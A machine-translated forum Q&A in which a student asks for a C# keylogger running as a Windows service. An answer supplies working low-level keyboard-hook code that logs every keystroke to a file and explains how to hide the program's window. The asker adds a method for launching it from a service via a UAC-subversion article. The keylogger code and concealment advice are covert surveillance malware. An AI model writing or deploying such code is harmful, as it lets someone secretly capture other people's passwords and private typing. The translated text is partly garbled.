2017-04-30 14 views
0

저는 C#으로 일종의 키로거를 생성해야하는 대학 프로젝트를 가지고 있는데, 사용자로부터 모든 키보드 입력을 받고이를 파일에 입력해야합니다.이 경우에는 텍스트가 필요합니다. 또한 암호화 될 수 있습니다. 이 응용 프로그램은 Windows 서비스가되어야합니다. 저는 Windows 서비스가 처음이지만 Visual Studio 2015를 사용하여 Windows 서비스를 만들었습니다. 문제는 이제 keylogger에 있습니다. 내가 본 키로거는 Windows 양식을 사용하여 개발되었으며 Windows 서비스는 사용하지 않습니다.Windows 서비스 Keylogger

protected override void OnStart(string[] args) 
{ 
    System.IO.File.Create(AppDomain.CurrentDomain.BaseDirectory + "OnStart.txt"); 
} 

내가 여기했던 것은 서비스가 시작될 때 사용자의 모든 입력을 저장하려고하는 응용 프로그램의 디렉토리에 출력라는 새로운 .txt 인 파일을 생성한다는 것입니다 :이 기능이 또는 기록.

누군가 나를 도와 주거나 어딘가에서 나를 리디렉션 할 수있어서 Windows 서비스를 사용하여 간단한 키로거를 만들 수 있습니까? 저는 매 초마다 데이터를 저장하는 타이머를 사용하여 창문 형태로 키로거를 만들었지 만 Windows 서비스를 사용하는 것은 저에게 힘든 것 같습니다.

+0

'나는 me'에 대한 조금 힘들 것 같다 초마다 데이터를 절약 할 수있는 타이머를 사용하지만 Windows 서비스를 사용하여 Windows 형태의 키로거를 만들어 관리했습니다 정확히 이것을 달성하지 못한 곳은 어디입니까? 또한 사용중인 방법을 공유 할 수 있습니까? – Bassie

+0

Windows 응용 프로그램에서 사용하는 방법은 텍스트 상자를 사용하여 내용을 가져온 다음 해당 내용을 텍스트 파일로 전송합니다. 텍스트 상자가 없기 때문에이 문제를 해결하는 방법을 정확히 알지 못합니다. 사용자가 입력하는 키보드 입력 (예 : 메모장, 브라우저 등) –

답변

1

this question 보안상의 이유로 서비스에서 가능하지 않은 것처럼 보입니다.

그러나 keybaord 후크를 사용하고 콘솔이나 창을 표시하지 않는 프로그램을 만들 수 있습니다. 즉, 서비스와 마찬가지로 사용자가 숨길 수 있습니다.

는 이렇게 첫번째 일부 필드 선언하려면 : 그래서 파일에 기록 (

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] 
[return: MarshalAs(UnmanagedType.Bool)] 
private static extern bool UnhookWindowsHookEx(IntPtr hhk); 

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] 
private static extern IntPtr SetWindowsHookEx(int idHook, 
    LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId); 

[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] 
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, 
    IntPtr wParam, IntPtr lParam); 

[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] 
private static extern IntPtr GetModuleHandle(string lpModuleName); 

HookCallback가 탐지 된 키 입력을 처리 할 이러한 방법을 만들기 :

private const int WH_KEYBOARD_LL = 13; 
private const int WM_KEYDOWN = 0x0100; 
private static LowLevelKeyboardProc _proc = HookCallback; 
private static IntPtr _hookID = IntPtr.Zero; 

private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam); 

그런 다음이 네이티브 메소드 가져 오기를 여기에 코멘트가 더 있음)

private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) 
{ 
    if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN) 
    { 
     int vkCode = Marshal.ReadInt32(lParam); 
     var keyName = Enum.GetName(typeof(Keys), vkCode); 
     var path = @"C:\test\logfile.txt"; 

     // Handle the key press here 
     var text = ((Keys)vkCode).ToString(); 
     File.AppendAllText(path, text); 
    } 

    return CallNextHookEx(_hookID, nCode, wParam, lParam); 
} 

SetHook 기본적으로 하위 우리의 키보드 후크 서기관 :

마지막으로
private static IntPtr SetHook(LowLevelKeyboardProc proc) 
{ 
    using (Process curProcess = Process.GetCurrentProcess()) 
    using (ProcessModule curModule = curProcess.MainModule) 
    { 
     return SetWindowsHookEx(WH_KEYBOARD_LL, proc, 
      GetModuleHandle(curModule.ModuleName), 0); 
    } 
} 

, 당신의 Main 방법이 줄을 추가

이제
_hookID = SetHook(_proc); 
Application.Run(); 
UnhookWindowsHookEx(_hookID); 

프로그램이 보이지 않게하기 위해, 단순히 대신 Windows ApplicationOutput Type 속성을 변경 Console Application.

나는이 당신에게 helpul 희망

+0

도움을 주셔서 감사합니다. 내가 진행하는 과정은 데이터 보안에 관한 것이므로 프로젝트에서 응용 프로그램을 Windows 서비스로 실행해야합니다. 데이터를 보호하는 방법을 배우기 때문에 이상합니다. 그러나 보안상의 이유로 구현할 수없는 일을해야합니다.당신이 작성한 코드는 나에게 유용 할 것이지만 나는 그렇게 할 수있는 방법이 있다면 서비스가 데스크탑이나 이와 유사한 것들과 상호 작용할 수있는 방법을 찾기 위해 좀 더 검색 할 것이라고 생각한다. 감사합니다. 다시! –

+0

자, 이제는이 [link] (https://www.codeproject.com/Articles/35773/Subverting-Vista-UAC-in-Both-and-bit-Archite)에 따라 Windows를 사용하여 응용 프로그램을 열 수 있습니다. 서비스, ​​잘하면 내 서비스를 시작하여 응용 프로그램 (비주얼 스튜디오 프로젝트)를 열었습니다. Windows Forms 응용 프로그램을 만들고 Keylogger를 만들기 위해 코드를 사용했습니다. 서비스가 시작되면 설치 디렉토리에 .txt 파일이 만들어지고 Windows 응용 프로그램에서 var 경로가 해당 .txt 파일의 경로로 변경됩니다. –

+0

윈도우 폼 어플리케이션의 main 함수는 다음과 같습니다 : static'void Main() { //Application.EnableVisualStyles(); //Application.SetCompatibleTextRenderingDefault(false); //Application.Run(new Form1()); _hookID = SetHook (_proc); Application.Run (새 Form1()); UnhookWindowsHookEx (_hookID); }'주석 처리 된 코드는 Visual Studio에 의해 생성되었으며, @Bassie 코드를 사용할 수 있도록 주석 처리했습니다. –